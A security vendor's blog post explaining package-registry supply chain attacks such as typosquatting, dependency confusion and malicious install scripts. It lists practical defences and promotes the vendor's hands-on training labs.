The Hidden Attack Surface in Your Dependencies

The Hidden Attack Surface in Your Dependencies

Modern software is assembled, not written. The average Node.js application pulls in hundreds of transitive dependencies, and each one represents a link in a supply chain that attackers are increasingly learning to exploit. The same pattern holds across Python's PyPI, Ruby's RubyGems, and practically every language ecosystem with a public package registry.

Supply chain attacks target the trust developers place in their package managers. Rather than attacking your application directly, adversaries compromise something your application depends on - and let your own build pipeline do the rest.
‍

How Attackers Exploit Package Managers

Supply chain attacks against package registries fall into a handful of well-understood patterns. What makes them dangerous is not their sophistication, but how effectively they exploit developer trust and automation.
‍

Typosquatting

Attackers publish packages with names that closely resemble popular libraries -- lodashs instead of lodash, reqeusts instead of requests. A single typo in a package.json or pip install command pulls in malicious code. In 2023, researchers identified over 200 typosquatting packages on npm targeting popular libraries, some of which had accumulated thousands of downloads before being flagged.
‍

Dependency Confusion

First disclosed by Alex Birsan in 2021, dependency confusion exploits how package managers resolve names. If an organization uses internal packages with names that don't exist in the public registries, an attacker can publish a higher version of the same name to npm or PyPI. Many build systems prefer the public, higher-versioned package, pulling in attacker-controlled code during a routine install. Birsan demonstrated this against Apple, Microsoft, and PayPal, all of which were vulnerable.
‍

Maintainer Compromise

Open source maintainers are high-value targets. The event-stream incident in 2018 remains one of the most cited examples: an attacker gained commit access to a popular npm package by offering to help an overworked maintainer, then injected code targeting a cryptocurrency wallet. The malicious payload was buried in a transitive dependency and went undetected for weeks.

In 2022, the ua-parser-js package, downloaded over 7 million times per week, was compromised when an attacker gained access to the maintainer's npm account. The hijacked versions installed cryptominers and credential stealers. The impact was immediate and widespread because ua-parser-js sits deep in the dependency trees of thousands of projects.
‍

Protestware and Self-Sabotage

Not all supply chain incidents are caused by external attackers. In early 2022, the maintainer of colors.js and faker.js deliberately pushed destructive updates to his own packages, breaking thousands of downstream projects. While the motivations were political rather than criminal, the effect was the same: trusted packages became vectors for disruption. This category blurs the line between compromise and trust violation, and it’s arguably harder to defend against.
‍

Malicious Install Scripts

Npm packages can define preinstall and postinstall scripts that execute arbitrary code the moment a package is installed - before any of your own code runs. Attackers use this to exfiltrate environment variables, install backdoors, or establish reverse shells. The package doesn’t even need to be imported into your application; installing it is enough.
‍

Beyond npm - A Cross-Ecosystem Problem

While npm gets the most attention due to the sheer volume of packages, supply chain attacks aren’t limited to JavaScript.

• PyPI has seen a surge in malicious packages, with researchers at Phylum and Checkmarx regularly identifying hundreds of packages designed to steal credentials or install backdoors.
• RubyGems suffered the strong_password incident in 2019, where an attacker took over a legitimate gem and injected code that fetched a remote payload.
• Go modules and Rust crates have faced similar issues, though their ecosystems have implemented stronger integrity checks earlier in their evolution.
  ‍

The common thread is that public registries operate on an open-contribution model with limited vetting. Anyone can publish a package, and the barrier between publication and production deployment is often a single install command.
‍

Practical Defences

Understanding the threat landscape is only useful if it informs action. Here are concrete steps teams should take to reduce supply chain risk.
‍

Lock Your Dependencies

Use lockfiles (package-lock.json, poetry.lock, Gemfile.lock) and commit them to version control. Lockfiles pin exact versions and integrity hashes, ensuring that builds are reproducible and that a compromised upstream version cannot silently replace a known-good one. Run npm ci instead of npm install in CI pipelines to enforce lockfile integrity.
‍

Audit Regularly

Run npm audit, pip-audit, or bundle-audit as part of your CI pipeline. These tools check installed packages against known vulnerability databases. They won't catch zero-day supply chain attacks, but they will flag known compromised packages quickly.
‍

Scope Your Registries

For organizations using internal packages, configure your package manager to resolve internal names from a private registry and only fall back to the public registry for explicitly allowed packages. npm scopes (@yourorg/package-name) and Python's --index-url / --extra-index-url configuration help prevent dependency confusion.
‍

Minimise Your Dependency Surface

Every dependency is an assumption of trust. Before adding a package, ask whether you actually need it. A utility function that is ten lines of code doesn’t need to be an external dependency. Regularly review your dependency tree and remove unused packages.
‍

Use Software Bills of Materials (SBOMs)

SBOMs provide a machine-readable inventory of every component in your software. Generating SBOMs as part of your build process (using tools like Syft, CycloneDX, or Trivy) gives you visibility into what you’re shipping and enables you to respond quickly when a dependency is compromised.
‍

Monitor for Anomalies

Tools like Socket, Snyk, and Phylum go beyond vulnerability scanning to analyse package behaviour, flagging packages that access the network, read environment variables, or execute shell commands during installation. This behavioral analysis catches threats that signature-based scanning misses.
‍

Enable Multi-Factor Authentication

If you maintain open source packages, enable MFA on your registry accounts. Npm now supports and encourages MFA for publishers, and PyPI has begun requiring it for critical projects. A compromised maintainer account is one of the easiest paths to a supply chain attack.
‍

Building Real-World Skills with Immersive One

Tooling and process changes are essential, but they only work when the people behind them understand what they’re defending against. Supply chain attacks succeed in part because developers and security teams have never seen one play out in a controlled environment. The techniques described above: typosquatting, dependency confusion, and malicious install scripts are difficult to detect if you have only ever read about them.

This is where hands-on practice changes the equation. Immersive One provides labs and exercises that let developers and security engineers experience supply chain attack techniques first-hand in a safe, sandboxed environment. Teams can work through realistic scenarios, identifying a typosquatted package, tracing a dependency confusion attack, analysing a compromised install script - and build the pattern recognition that makes these threats visible in day-to-day work.

The platform also supports crisis simulation exercises, allowing organisations to rehearse their response to a supply chain compromise before it happens in real life. When a dependency is flagged as malicious at 4pm on a Friday, the team that has already practised that scenario will respond faster and more effectively than one working from a runbook they have never tested.
‍

The Bigger Picture

Supply chain security isn’t a problem that any single tool solves. It requires a shift in how organizations think about trust in their software, and investment in the skills to back that shift up. Every dependency is a decision to trust an external maintainer, their infrastructure, and their operational security. That trust should be explicit, scoped, and continuously verified. Not assumed.

The attacks are getting more creative, but the defences are maturing too. Platforms like Immersive One give teams the practical experience to stay ahead of these evolving threats. The organizations that combine strong tooling, sound process, and skilled people will be the ones that avoid becoming the next case study.

If you’re already an Immersive One customer, try our npm: Package Hijack – UAParser.js lab.